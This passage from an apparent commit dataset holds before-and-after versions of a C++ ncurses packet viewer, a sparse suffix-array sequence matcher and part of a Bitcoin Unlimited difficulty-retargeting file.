 break;\n            }\n            case DETAIL:\n                break;\n            case BINARY:\n                break;\n            defaut:\n                throw slankdev::exception(\"UNknown state\");\n                break;\n\n        }\n    }\n    void view_help()\n    {\n        size_t x = 0;\n        size_t y = 0;\n        screen.mvprintw(y++, x, \"                                                    \");\n        screen.mvprintw(y++, x, \"    CuiShark version 0.0                            \");\n        screen.mvprintw(y++, x, \"    Copyright 2017-2020 Hiroki SHIROKURA.           \");\n        screen.mvprintw(y++, x, \"                                                    \");\n        screen.mvprintw(y++, x, \"    Avalable Keyboard commands are below.           \");\n        screen.mvprintw(y++, x, \"    These are Vi-like key-bind because I'm vimmer.  \");\n        screen.mvprintw(y++, x, \"                                                    \");\n        screen.mvprintw(y++, x, \"    Commands                                        \");\n        screen.mvprintw(y++, x, \"    j      :  down                                  \");\n        screen.mvprintw(y++, x, \"    k      :  up                                    \");\n        screen.mvprintw(y++, x, \"    tab    :  switch pane                           \");\n        screen.mvprintw(y++, x, \"    enter  :  select                                \");\n        screen.mvprintw(y++, x, \"    ?      :  view help                             \");\n        screen.mvprintw(y++, x, \"    C-c    :  exit                                  \");\n        screen.mvprintw(y++, x, \"                                                    \");\n        screen.getchar();\n    }\n    void dispatch()\n    {\n        struct pollfd fds[2];\n        fds[0].fd = pcap_get_selectable_fd(handle);\n        fds[0].events = POLLIN;\n        fds[1].fd = fileno(stdin);\n        fds[1].events = POLLIN;\n        while (1) {\n            if (poll(fds, 2, 100)) {\n\n                if (fds[0].revents & POLLIN) {\n                    struct pcap_pkthdr header;\n                    const u_char *packet;\n                    packet = pcap_next(handle, &header);\n                    pane_list.push_packet(packet, &header);\n                }\n\n                if (fds[1].revents & POLLIN) {\n                    int c = screen.getchar();\n                    switch (c) {\n                        case 'j':\n                            press_j();\n                            break;\n                        case 'k':\n                            press_k();\n                            break;\n                        case '\\t':\n                            charnge_cstate();\n                            break;\n                        case '\\n':\n                            press_enter();\n                            break;\n                        case '?':\n                            view_help();\n                            break;\n                    }\n                }\n            }\n            refresh();\n        }\n    }\n    void refresh()\n    {\n        pane_list.refresh();\n        pane_detail.refresh();\n        pane_binary.refresh();\n        statusline.refresh();\n        screen.refresh();\n    }\n};\n\n\nint main(int argc, char *argv[])\n{\n    display dsp0;\n    dsp0.dispatch();\n}\n\n\n<commit_msg>Refact<commit_after>\n\n\n#include <pcap.h>\n#include <stdio.h>\n#include <poll.h>\n\n#include <vector>\n#include <queue>\n#include <algorithm>\n\n#include <slankdev\/util.h>\n#include <slankdev\/ncurses.h>\n#include <slankdev\/exception.h>\n#include <slankdev\/net\/protocol.h>\n\n\n\nclass Packet {\npublic:\n    uint8_t buf[2000];\n    size_t   len;\n    uint64_t time;\n    size_t   number;\n\n    Packet(const void* p, size_t l, uint64_t t, size_t n) :\n        len(l), time(t), number(n)\n    {\n        memcpy(buf, p, len);\n    }\n    std::string line()\n    {\n        using namespace slankdev;\n        std::string source;\n        std::string dest;\n        std::string proto;\n\n        ether* eth = reinterpret_cast<ether*>(buf);\n\n        char str[1000];\n        sprintf(str, \"%5zd %-13ld %-20s %-20s %6s %5zd %-10s\" , number, time,\n                eth->src.to_string().c_str(),\n                eth->dst.to_string().c_str(),\n                \"protocol\", len, \"summry\");\n        return str;\n    }\n};\n\n\n\nclass pane {\nprotected:\n    size_t current_x;\n    size_t current_y;\n    slankdev::ncurses& screen;\npublic:\n    const size_t x;\n    const size_t y;\n    const size_t w;\n    const size_t h;\n    pane(size_t ix, size_t iy, size_t iw, size_t ih, slankdev::ncurses& scr) :\n        x(ix), y(iy), w(iw), h(ih), current_x(ix), current_y(iy), screen(scr) {}\n    template <class... Arg>\n    void println(const char* fmt, Arg... arg)\n    {\n        screen.mvprintw(current_y++, current_x, fmt, arg...);\n        current_x = x;\n    }\n    template <class... Arg>\n    void println_hl(const char* fmt, Arg... arg)\n    {\n        attron(A_REVERSE);\n        screen.mvprintw(current_y++, current_x, fmt, arg...);\n        current_x = x;\n        attroff(A_REVERSE);\n    }\n    template <class... Arg>\n    void print(const char* fmt, Arg... arg)\n    {\n        char str[1000];\n        sprintf(str, fmt, arg...);\n        size_t len = strlen(str);\n        screen.mvprintw(current_y, current_x+=len, fmt, arg...);\n    }\n    void putc(char c)\n    {\n        if (c == '\\n') {\n            current_y ++ ;\n            current_x = x;\n        } else {\n            screen.mvprintw(current_y, current_x++, \"%c\", c);\n        }\n    }\n};\n\n\n\n\nclass Pane_list : public pane {\n    ssize_t cursor_index;\n    size_t  list_start_index;\npublic:\n    std::vector<Packet> packets;\n    ssize_t get_cursor() { return cursor_index; }\n    void dec_cursor()\n    {\n        if (cursor_index-1 < list_start_index) scroll_up();\n        if (get_cursor()-1 >= 0) cursor_index--;\n    }\n    void inc_cursor()\n    {\n        if (cursor_index+1-list_start_index >= h) scroll_down();\n        if (get_cursor()+1 < packets.size()) cursor_index++;\n    }\n    void scroll_up()   { list_start_index --; }\n    void scroll_down() { list_start_index ++; }\n    Pane_list(size_t ix, size_t iy, size_t iw, size_t ih,\n            slankdev::ncurses& scr) : pane(ix, iy, iw, ih, scr),\n            cursor_index(0), list_start_index(0) {}\n    void push_packet(const void* packet, struct pcap_pkthdr* hdr)\n    {\n        static int number = 0;\n        packets.emplace_back(packet, hdr->len, hdr->ts.tv_sec, number++);\n    }\n    void refresh()\n    {\n        current_x = x;\n        current_y = y;\n        println(\"%-5s %-13s %-20s %-20s %-6s %-5s %-10s\",\n                \"No.\", \"Time\", \"Source\", \"Destination\",\n                \"Protocol\", \"Len\", \"Info\");\n\n        size_t start_idx = list_start_index;\n        for (size_t i=start_idx, c=0; i<packets.size() && c<h; i++, c++) {\n            if (i == get_cursor())\n                println_hl(packets[i].line().c_str());\n            else\n                println(packets[i].line().c_str());\n        }\n    }\n};\n\n\n\n\n\nclass Pane_detail : public pane {\n    ssize_t cursor_index;\n    size_t  list_start_index;\npublic:\n    std::vector<std::string> lines;\n\n    ssize_t get_cursor() { return cursor_index; }\n    void dec_cursor()\n    {\n        if (cursor_index-1 < list_start_index) scroll_up();\n        if (get_cursor()-1 >= 0) cursor_index--;\n    }\n    void inc_cursor()\n    {\n        if (cursor_index+1-list_start_index >= h) scroll_down();\n        if (get_cursor()+1 < lines.size()) cursor_index++;\n    }\n    void scroll_up()   { list_start_index --; }\n    void scroll_down() { list_start_index ++; }\n\n    Pane_detail(size_t ix, size_t iy, size_t iw, size_t ih,\n            slankdev::ncurses& scr) : pane(ix, iy, iw, ih, scr) {}\n    void print_packet_detail(Packet* packet)\n    {\n        char str[1000];\n        sprintf(str, \"Packet Detail\");\n        lines.push_back(str);\n        sprintf(str, \" + number : %zd \", packet->number);\n        lines.push_back(str);\n        sprintf(str, \" + pointer: %p\", packet->buf);\n        lines.push_back(str);\n        sprintf(str, \" + length : %zd\", packet->len);\n        lines.push_back(str);\n        sprintf(str, \" + time   : %ld\", packet->time);\n        lines.push_back(str);\n    }\n    void refresh()\n    {\n        current_x = x;\n        current_y = y;\n        for (size_t i=0, c=0; i<lines.size() && c<h; i++, c++) {\n            if (i == get_cursor())\n                println_hl(\"%s\", lines[i].c_str());\n            else\n                println(\"%s\", lines[i].c_str());\n        }\n        for (size_t i=0; i<h-lines.size(); i++) {\n            for (size_t c=0; c<w; c++) print(\" \");\n            println(\"\");\n        }\n    }\n};\n\n\nclass Pane_binary : public pane {\n    ssize_t cursor_index;\n    size_t  list_start_index;\npublic:\n    std::vector<std::string> lines;\n\n    ssize_t get_cursor() { return cursor_index; }\n    void dec_cursor()\n    {\n        if (cursor_index-1 < list_start_index) scroll_up();\n        if (get_cursor()-1 >= 0) cursor_index--;\n    }\n    void inc_cursor()\n    {\n        if (cursor_index+1-list_start_index >= h) scroll_down();\n        if (get_cursor()+1 < lines.size()) cursor_index++;\n    }\n    void scroll_up()   { list_start_index --; }\n    void scroll_down() { list_start_index ++; }\n\n\n    Pane_binary(size_t ix, size_t iy, size_t iw, size_t ih,\n            slankdev::ncurses& scr) : pane(ix, iy, iw, ih, scr) {}\n    void hex(Packet* packet)\n    {\n        lines.clear();\n\n        const void* buffer = packet->buf;\n        size_t bufferlen   = packet->len;\n        char str[1000];\n\n        const uint8_t *data = reinterpret_cast<const uint8_t*>(buffer);\n        size_t row = 0;\n        std::string line;\n        while (bufferlen > 0) {\n            line.clear();\n\n            sprintf(str, \" %04zx:   \", row);\n            line += str;\n\n            size_t n;\n            if (bufferlen < 16) n = bufferlen;\n            else                n = 16;\n\n            for (size_t i = 0; i < n; i++) {\n                if (i == 8) { line += \" \"; }\n                sprintf(str, \" %02x\", data[i]);\n                line += str;\n            }\n            for (size_t i = n; i < 16; i++) { line += \"   \"; }\n            line += \"   \";\n            for (size_t i = 0; i < n; i++) {\n                if (i == 8) { line += \"  \"; }\n                uint8_t c = data[i];\n                if (!(0x20 <= c && c <= 0x7e)) c = '.';\n                sprintf(str, \"%c\", c);\n                line += str;\n            }\n            println(\"\");\n            lines.push_back(line);\n            bufferlen -= n;\n            data += n;\n            row  += n;\n        }\n    }\n    void refresh()\n    {\n        current_x = x;\n        current_y = y;\n        for (size_t i=0, c=0; i<lines.size() && c<h; i++, c++) {\n            if (i == get_cursor())\n                println_hl(\"%s\", lines[i].c_str());\n            else\n                println(\"%s\", lines[i].c_str());\n        }\n        for (size_t i=0; i<h-lines.size(); i++) {\n            for (size_t c=0; c<w; c++) print(\" \");\n            println(\"\");\n        }\n    }\n};\n\n\nenum cursor_state {\n    LIST,\n    DETAIL,\n    BINARY,\n};\n\n\nclass Statusline {\n    const size_t x;\n    const size_t y;\n    const size_t w;\n    const cursor_state& state;\npublic:\n    Statusline(size_t ix, size_t iy, size_t iw, cursor_state& c)\n        : x(ix), y(iy), w(iw), state(c) {}\n    const char* state2str(cursor_state s)\n    {\n        switch (s) {\n            case LIST:   return \"LIST   \";\n            case DETAIL: return \"DETAIL \";\n            case BINARY: return \"BINARY \";\n            default :    return \"UNKNOWN\";\n        }\n    }\n    void refresh()\n    {\n        mvprintw(y, x, \"[CUISHARK] pane=%s\", state2str(state));\n    }\n};\n\nsize_t a(size_t h) { return (h-1) % 3; }\nsize_t m(size_t h) { return ((h-1)-((h-1)%3))\/3; }\n#define H screen.geth()\n\nclass display {\n    slankdev::ncurses screen;\n    pcap_t *handle;\n    cursor_state cstate;\npublic:\n    Pane_list   pane_list;\n    Pane_detail pane_detail;\n    Pane_binary pane_binary;\n    Statusline statusline;\n\n    display() :\n        cstate(LIST),\n        pane_list  (0, 0            , screen.getw(), a(H)+m(H), screen),\n        pane_detail(0, a(H)+m(H)+1  , screen.getw(), m(H)     , screen),\n        pane_binary(0, a(H)+2*m(H)+1, screen.getw(), m(H)     , screen),\n        statusline (0, a(H)+3*m(H)  , screen.getw(), cstate)\n    {\n        char errbuf[PCAP_ERRBUF_SIZE];\n        handle = pcap_open_live(\"lo\", BUFSIZ, 0, 0, errbuf);\n        \/\/ handle = pcap_open_offline(\"in.pcap\", errbuf);\n        if (handle == NULL) {\n            throw slankdev::exception(\"pcap_open_live\");\n        }\n        noecho();\n        screen.refresh();\n    }\n    ~display() { pcap_close(handle); }\n    void charnge_cstate()\n    {\n        switch (cstate) {\n            case LIST  : cstate = DETAIL; break;\n            case DETAIL: cstate = BINARY; break;\n            case BINARY: cstate = LIST  ; break;\n            default : throw slankdev::exception(\"UNKNOWN state\");\n        }\n    }\n    void press_j()\n    {\n        switch (cstate) {\n            case LIST  : pane_list.inc_cursor()  ; break;\n            case DETAIL: pane_detail.inc_cursor(); break;\n            case BINARY: pane_binary.inc_cursor(); break;\n            defaut: throw slankdev::exception(\"UNknown state\");\n        }\n    }\n    void press_k()\n    {\n        switch (cstate) {\n            case LIST  : pane_list.dec_cursor()  ; break;\n            case DETAIL: pane_detail.dec_cursor(); break;\n            case BINARY: pane_binary.dec_cursor(); break;\n            defaut: throw slankdev::exception(\"UNknown state\");\n        }\n    }\n    void press_enter()\n    {\n        switch (cstate) {\n            case LIST:\n            {\n                if (pane_list.packets.empty()) return;\n                Packet* pack = &pane_list.packets[pane_list.get_cursor()];\n                pane_detail.print_packet_detail(pack);\n                pane_binary.hex(pack);\n                break;\n            }\n            case DETAIL:\n                break;\n            case BINARY:\n                break;\n            defaut:\n                throw slankdev::exception(\"UNknown state\");\n                break;\n\n        }\n    }\n    void view_help()\n    {\n        size_t x = 0;\n        size_t y = 0;\n        screen.mvprintw(y++, x, \"                                                    \");\n        screen.mvprintw(y++, x, \"    CuiShark version 0.0                            \");\n        screen.mvprintw(y++, x, \"    Copyright 2017-2020 Hiroki SHIROKURA.           \");\n        screen.mvprintw(y++, x, \"                                                    \");\n        screen.mvprintw(y++, x, \"    Avalable Keyboard commands are below.           \");\n        screen.mvprintw(y++, x, \"    These are Vi-like key-bind because I'm vimmer.  \");\n        screen.mvprintw(y++, x, \"                                                    \");\n        screen.mvprintw(y++, x, \"    Commands                                        \");\n        screen.mvprintw(y++, x, \"    j      :  down                                  \");\n        screen.mvprintw(y++, x, \"    k      :  up                                    \");\n        screen.mvprintw(y++, x, \"    tab    :  switch pane                           \");\n        screen.mvprintw(y++, x, \"    enter  :  select                                \");\n        screen.mvprintw(y++, x, \"    ?      :  view help                             \");\n        screen.mvprintw(y++, x, \"    C-c    :  exit                                  \");\n        screen.mvprintw(y++, x, \"                                                    \");\n        screen.getchar();\n    }\n    void dispatch()\n    {\n        struct pollfd fds[2];\n        fds[0].fd = pcap_get_selectable_fd(handle);\n        fds[0].events = POLLIN;\n        fds[1].fd = fileno(stdin);\n        fds[1].events = POLLIN;\n        while (1) {\n            if (poll(fds, 2, 100)) {\n\n                if (fds[0].revents & POLLIN) {\n                    struct pcap_pkthdr header;\n                    const u_char *packet;\n                    packet = pcap_next(handle, &header);\n                    pane_list.push_packet(packet, &header);\n                }\n\n                if (fds[1].revents & POLLIN) {\n                    int c = screen.getchar();\n                    switch (c) {\n                        case 'j':\n                            press_j();\n                            break;\n                        case 'k':\n                            press_k();\n                            break;\n                        case '\\t':\n                            charnge_cstate();\n                            break;\n                        case '\\n':\n                            press_enter();\n                            break;\n                        case '?':\n                            view_help();\n                            break;\n                    }\n                }\n            }\n            refresh();\n        }\n    }\n    void refresh()\n    {\n        pane_list.refresh();\n        pane_detail.refresh();\n        pane_binary.refresh();\n        statusline.refresh();\n        screen.refresh();\n    }\n};\n\n\nint main(int argc, char *argv[])\n{\n    display dsp0;\n    dsp0.dispatch();\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdlib>\n\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <algorithm>\n\n#include \"fasta_parser.h\"\n#include \"sa_is.h\"\n#include \"search.h\"\n\nstruct suffix {\n  unsigned int index;\n  std::string suffix_string;\n};\n\nbool compare(suffix i, suffix j) {\n  return i.suffix_string < j.suffix_string ;\n}\n\n\/\/ Creates a sufix array for the given string using a simple and slow method\nvoid suffix_array(std::string str, std::vector<int> &sa) {\n  std::vector<suffix> suffixes;\n\n  for (unsigned int i = 0; i < str.size(); ++i) {\n    suffix *s = new suffix;\n    s->index = i;\n    s->suffix_string = str.substr(i);\n    suffixes.push_back(*s);\n    delete s;\n  }\n\n  std::sort(suffixes.begin(), suffixes.end(), compare);\n  for (unsigned int i = 0; i < suffixes.size(); ++i) {\n    sa.push_back(suffixes[i].index);\n  }\n}\n\nint main(int argc, char *argv[]) {\n\n  if(argc != 5) {\n    std::cerr << \"Usage: \" << argv[0] << \" <file containing reference string> <file containing query string> <index level of sparseSA, K-SA> <size of minimal match>\" << std::endl;\n    exit(-1);\n  }\n\n  std::ifstream ref_file(argv[1]);\n\tstd::ifstream query_file(argv[2]);\n\n  if(!ref_file.is_open()) {\n    std::cerr << \"There was a problem openning the file \\\"\" << argv[1] << \"\\\"!\\nAborting.\" << std::endl;\n    exit(-2);\n  }\n\n  if(!query_file.is_open()) {\n    std::cerr << \"There was a problem openning the file \\\"\" << argv[2] << \"\\\"!\\nAborting.\" << std::endl;\n    exit(-2);\n  }\n\n  \/\/ Read in reference string (fasta format)\n\tstd::string ref_string;\n\tstd::vector<string> refdescr;\n\tstd::vector<long> startpos;\n\tfasta_parser(argv[1], ref_string, refdescr, startpos);\n\n  \/\/ Read in query string (fasta format)\n\tstd::string query_string;\n\tstd::vector<string> querydescr;\n\tstd::vector<long> q_startpos;\n  fasta_parser(argv[2], query_string, querydescr, q_startpos);\n\n  int K = atoi(argv[3]);\n  int L = atoi(argv[4]);\n  int N = ref_string.length();\n\n  std::vector<int> sa;\n  sa.reserve(N);\n  bool *types = new bool[N];\n\n  suffix_array(ref_string, sa);\n  type_array(ref_string.c_str(), types, N, sizeof(char));\n\n  for (unsigned int i = 0; i < sa.size() ; ++i) {\n    std::cout << \"[\" << i << \"]\\t\" << sa[i] << (types[sa[i]] ? \"\\tS\\t\" : \"\\tL\\t\")\n    << ref_string.substr(sa[i]) << std::endl;\n  }\n\n  int *SA = new int[N];\n  int *sparseSA = new int[N \/ K];\n  int *sparseISA = new int[N \/ K];\n  int *sparseLCP = new int[N \/ K];\n  short int A_, C_, T_, G_, BROJ;\n  A_ = C_ = T_ = G_ = BROJ = 0;\n  \/\/ Creates Suffix Array using SA_IS algorithm\n  sa_is(ref_string.c_str(), SA, N, 256, sizeof(char));\n  for (int i = 0; i < N; i++){\n\tif (ref_string.substr(sa[i])[0] == 'A') A_++;\n\tif (ref_string.substr(sa[i])[0] == 'C') C_++;\n\tif (ref_string.substr(sa[i])[0] == 'T') T_++;\n\tif (ref_string.substr(sa[i])[0] == 'G') G_++;\n  }\n\n\n  sparseSA[0] = SA[0 * K];\n\n\n  \/\/ Generate Sparse Suffix Array, A, C, T, G\n  int j =1;\n  for (int i = 1; i < N; ++i) {\n\n    if(A_>0){\n      sparseSA[j] = SA[i * K  - (K-1)];\n      A_ = A_-K;\n    }\n\n    else if (C_>0){\n      sparseSA[j] = SA[i * K + A_ - (K-1) ];\n      C_ = C_-K;\n    }\n\n    else if (G_ >0){\n      sparseSA[j] = SA[i * K + A_ + C_ + T_  - (K-1)];\n      G_ = G_ -K;\n    }\n\n    else if (T_>0){\n      sparseSA[j] = SA[i * K + A_ + C_  - (K-1)];\n      T_ = T_-K;\n      cout << T_ << endl;\n    }\n\n    else break;\n\n    j++;\n\t\/\/sparseSA[i] = SA[i * K];\n  }\n\n  BROJ = j;\n\n\n  for(int i = 0; i < j; i++) {\n    cout << sparseSA[i] << \" \";\n  }\n  cout << endl;\n  \/\/ Generate ISA A\n  for(int i = 0; i < j; i++) {\n\t\tsparseISA[sparseSA[i] % (j-1)] = i;\n  }\ncout << endl;\n  for(int i = 0; i < j; i++) {\n    cout << sparseISA[sparseSA[i]] << \" \";\n  }\n\n  \/\/ Generate LCP\n  int h = 0;\n  for(int i = 0; i < N\/K ; i+=K) {\n    int m = sparseISA[i];\n    if(m==0) {\n      sparseLCP[m] = 0;\n    }\n    else {\n      int j = sparseSA[m-1];\n      while(i+h < N && j+h < N && ref_string[i+h] == ref_string[j+h]) {\n        h++;\n      }\n      sparseLCP[m] = h;\n    }\n    h = std::max(0, h - K);\n  }\n\n  printf(\"\\nSparse SA: \");\n  for (int i = 0; i < N\/K; ++i)\n    printf(\"%d \", sparseSA[i]);\n\n  printf(\"\\nSparse ISA: \");\n  for (int i = 0; i < N\/K; ++i)\n    printf(\"%d \", sparseISA[i]);\n\n  printf(\"\\nSparse LCP: \");\n  for (int i = 0; i < N\/K; ++i)\n    printf(\"%d \", sparseLCP[i]);\n  printf(\"\\n\");\n\n\n  \/\/ Search for MEMs:\n  printf(\"\\tRef.\\tQuery\\tLength\\n\");\n  int p0 = 0;\n  MEM(p0, ref_string, sparseISA, sparseLCP, sparseSA, query_string, K, N, L);\n\n  return 0;\n}\n\n\n<commit_msg>print mod<commit_after>#include <cstdlib>\n\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <algorithm>\n\n#include \"fasta_parser.h\"\n#include \"sa_is.h\"\n#include \"search.h\"\n\nstruct suffix {\n  unsigned int index;\n  std::string suffix_string;\n};\n\nbool compare(suffix i, suffix j) {\n  return i.suffix_string < j.suffix_string ;\n}\n\n\/\/ Creates a sufix array for the given string using a simple and slow method\nvoid suffix_array(std::string str, std::vector<int> &sa) {\n  std::vector<suffix> suffixes;\n\n  for (unsigned int i = 0; i < str.size(); ++i) {\n    suffix *s = new suffix;\n    s->index = i;\n    s->suffix_string = str.substr(i);\n    suffixes.push_back(*s);\n    delete s;\n  }\n\n  std::sort(suffixes.begin(), suffixes.end(), compare);\n  for (unsigned int i = 0; i < suffixes.size(); ++i) {\n    sa.push_back(suffixes[i].index);\n  }\n}\n\nint main(int argc, char *argv[]) {\n\n  if(argc != 5) {\n    std::cerr << \"Usage: \" << argv[0] << \" <file containing reference string> <file containing query string> <index level of sparseSA, K-SA> <size of minimal match>\" << std::endl;\n    exit(-1);\n  }\n\n  std::ifstream ref_file(argv[1]);\n\tstd::ifstream query_file(argv[2]);\n\n  if(!ref_file.is_open()) {\n    std::cerr << \"There was a problem openning the file \\\"\" << argv[1] << \"\\\"!\\nAborting.\" << std::endl;\n    exit(-2);\n  }\n\n  if(!query_file.is_open()) {\n    std::cerr << \"There was a problem openning the file \\\"\" << argv[2] << \"\\\"!\\nAborting.\" << std::endl;\n    exit(-2);\n  }\n\n  \/\/ Read in reference string (fasta format)\n\tstd::string ref_string;\n\tstd::vector<string> refdescr;\n\tstd::vector<long> startpos;\n\tfasta_parser(argv[1], ref_string, refdescr, startpos);\n\n  \/\/ Read in query string (fasta format)\n\tstd::string query_string;\n\tstd::vector<string> querydescr;\n\tstd::vector<long> q_startpos;\n  fasta_parser(argv[2], query_string, querydescr, q_startpos);\n\n  int K = atoi(argv[3]);\n  int L = atoi(argv[4]);\n  int N = ref_string.length();\n\n  std::vector<int> sa;\n  sa.reserve(N);\n  bool *types = new bool[N];\n\n  suffix_array(ref_string, sa);\n  type_array(ref_string.c_str(), types, N, sizeof(char));\n\n  for (unsigned int i = 0; i < sa.size() ; ++i) {\n    std::cout << \"[\" << i << \"]\\t\" << sa[i] << (types[sa[i]] ? \"\\tS\\t\" : \"\\tL\\t\")\n    << ref_string.substr(sa[i]) << std::endl;\n  }\n\n  int *SA = new int[N];\n  int *sparseSA = new int[N \/ K];\n  int *sparseISA = new int[N \/ K];\n  int *sparseLCP = new int[N \/ K];\n  short int A_, C_, T_, G_, BROJ;\n  A_ = C_ = T_ = G_ = BROJ = 0;\n  \/\/ Creates Suffix Array using SA_IS algorithm\n  sa_is(ref_string.c_str(), SA, N, 256, sizeof(char));\n  for (int i = 0; i < N; i++){\n\tif (ref_string.substr(sa[i])[0] == 'A') A_++;\n\tif (ref_string.substr(sa[i])[0] == 'C') C_++;\n\tif (ref_string.substr(sa[i])[0] == 'T') T_++;\n\tif (ref_string.substr(sa[i])[0] == 'G') G_++;\n  }\n\n\n  sparseSA[0] = SA[0 * K];\n\n\n  \/\/ Generate Sparse Suffix Array, A, C, T, G\n  int j =1;\n  for (int i = 1; i < N; ++i) {\n\n    if(A_>0){\n      sparseSA[j] = SA[i * K  - (K-1)];\n      A_ = A_-K;\n    }\n\n    else if (C_>0){\n      sparseSA[j] = SA[i * K + A_ - (K-1) ];\n      C_ = C_-K;\n    }\n\n    else if (G_ >0){\n      sparseSA[j] = SA[i * K + A_ + C_ + T_  - (K-1)];\n      G_ = G_ -K;\n    }\n\n    else if (T_>0){\n      sparseSA[j] = SA[i * K + A_ + C_  - (K-1)];\n      T_ = T_-K;\n      cout << T_ << endl;\n    }\n\n    else break;\n\n    j++;\n\t\/\/sparseSA[i] = SA[i * K];\n  }\n\n  BROJ = j;\n\n\n  for(int i = 0; i < j; i++) {\n    cout << sparseSA[i] << \" \";\n  }\n  cout << endl;\n  \/\/ Generate ISA A\n  for(int i = 0; i < j; i++) {\n\t\tsparseISA[sparseSA[i] % (j-1)] = i;\n  }\ncout << endl;\n  for(int i = 0; i < j; i++) {\n    cout << sparseISA[sparseSA[i] % (j-1)] << \" \";\n  }\n\n  \/\/ Generate LCP\n  int h = 0;\n  for(int i = 0; i < N\/K ; i+=K) {\n    int m = sparseISA[i];\n    if(m==0) {\n      sparseLCP[m] = 0;\n    }\n    else {\n      int j = sparseSA[m-1];\n      while(i+h < N && j+h < N && ref_string[i+h] == ref_string[j+h]) {\n        h++;\n      }\n      sparseLCP[m] = h;\n    }\n    h = std::max(0, h - K);\n  }\n\n  printf(\"\\nSparse SA: \");\n  for (int i = 0; i < N\/K; ++i)\n    printf(\"%d \", sparseSA[i]);\n\n  printf(\"\\nSparse ISA: \");\n  for (int i = 0; i < N\/K; ++i)\n    printf(\"%d \", sparseISA[i]);\n\n  printf(\"\\nSparse LCP: \");\n  for (int i = 0; i < N\/K; ++i)\n    printf(\"%d \", sparseLCP[i]);\n  printf(\"\\n\");\n\n\n  \/\/ Search for MEMs:\n  printf(\"\\tRef.\\tQuery\\tLength\\n\");\n  int p0 = 0;\n  MEM(p0, ref_string, sparseISA, sparseLCP, sparseSA, query_string, K, N, L);\n\n  return 0;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2015-2016 The Bitcoin Unlimited developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"pow.h\"\n\n#include \"arith_uint256.h\"\n#include \"chain.h\"\n#include \"primitives\/block.h\"\n#include \"uint256.h\"\n#include \"util.h\"\n\nunsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock, const Consensus::Params& params)\n{\n    unsigned int nProofOfWorkLimit = UintToArith256(params.powLimit).GetCompact();\n\n    \/\/ Genesis block\n    if (pindexLast == NULL)\n        return nProofOfWorkLimit;\n\n    \/\/ mvhf-bu genesis block reset the difficulty target\n    if (pindexLast->nHeight == params.MVFActivateForkHeight() )\n    {\n    \treturn nProofOfWorkLimit;\n    }\n\n    \/\/ Only change once per difficulty adjustment interval\n    if ((pindexLast->nHeight+1) % params.DifficultyAdjustmentInterval(pindexLast->nHeight) != 0)\n    {\n        if (params.fPowAllowMinDifficultyBlocks)\n        {\n            \/\/ Special difficulty rule for testnet:\n            \/\/ If the new block's timestamp is more than 2* 10 minutes\n            \/\/ then allow mining of a min-difficulty block.\n            if (pblock->GetBlockTime() > pindexLast->GetBlockTime() + params.nPowTargetSpacing*2)\n                return nProofOfWorkLimit;\n            else\n            {\n                \/\/ Return the last non-special-min-difficulty-rules-block\n                const CBlockIndex* pindex = pindexLast;\n                while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval(pindexLast->nHeight) != 0 && pindex->nBits == nProofOfWorkLimit)\n                    pindex = pindex->pprev;\n                return pindex->nBits;\n            }\n        }\n        return pindexLast->nBits;\n    }\n\n    \/\/ Go back by what we want to be 14 days worth of blocks\n    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval(pindexLast->nHeight)-1);\n    assert(nHeightFirst >= 0);\n    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);\n    assert(pindexFirst);\n\n    return CalculateNextWorkRequired(pindexLast, pindexFirst->GetBlockTime(), params);\n}\n\nunsigned int CalculateNextWorkRequired(const CBlockIndex* pindexLast, int64_t nFirstBlockTime, const Consensus::Params& params)\n{\n    if (params.fPowNoRetargeting)\n        return pindexLast->nBits;\n\n    \/\/ Limit adjustment step\n    int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;\n    LogPrintf(\"  nActualTimespan = %d  before bounds\\n\", nActualTimespan);\n\n    \/\/mvhf-bu target time span while within the re-target period\n\tint64_t nTargetTimespan = params.nPowTargetTimespan; \/\/ the original 2016 blocks\n\n\t\/\/ During the MVF Re-target Period after the fork block the target time span starts at 1 block until 12 blocks\n\tif (pindexLast->nHeight > params.MVFActivateForkHeight() && pindexLast->nHeight < params.nMVFRetargetPeriodEnd() )\n\t{\n\t\tnTargetTimespan = params.nPowTargetSpacing * (pindexLast->nHeight - params.MVFActivateForkHeight());\n\t\tif (nTargetTimespan > params.nPowTargetSpacing * 12) nTargetTimespan = params.nPowTargetSpacing * 12;\n\t}\n\n\t\/\/ During the first 12 blocks after the fork abrupt changes are permitted\n\tif (nTargetTimespan >= params.nPowTargetSpacing * 12)\n\t{\n\t\t\/\/ prevent abrupt changes to target\n\t\tif (nActualTimespan < params.nPowTargetTimespan\/4)\n\t\t\tnActualTimespan = params.nPowTargetTimespan\/4;\n\t\tif (nActualTimespan > params.nPowTargetTimespan*4)\n\t\t\tnActualTimespan = params.nPowTargetTimespan*4;\n\t}\n\n    \/\/ Retarget\n    const arith_uint256 bnPowLimit = UintToArith256(params.powLimit);\n    arith_uint256 bnNew;\n    arith_uint256 bnOld;\n    bnNew.SetCompact(pindexLast->nBits);\n    bnOld = bnNew;\n    bnNew *= nActualTimespan;\n    bnNew \/= nTargetTimespan;\n\n    if (bnNew > bnPowLimit)\n        bnNew = bnPowLimit;\n\n    \/\/\/ debug print\n    LogPrintf(\"GetNextWorkRequired RETARGET\\n\");\n    LogPrintf(\"nTargetTimespan = %d    nActualTimespan = %d\\n\", nTargetTimespan, nActualTimespan);\n    LogPrintf(\"Before: %08x  %s\\n\", pindexLast->nBits, bnOld.ToString());\n    LogPrintf(\"After:  %08x  %s\\n\", bnNew.GetCompact(), bnNew.ToString());\n\n    return bnNew.GetCompact();\n}\n\nbool CheckProofOfWork(uint256 hash, unsigned int nBits, const Consensus::Params& params)\n{\n    bool fNegative;\n    bool fOverflow;\n    arith_uint256 bnTarget;\n\n    bnTarget.SetCompact(nBits, &fNegative, &fOverflow);\n\n 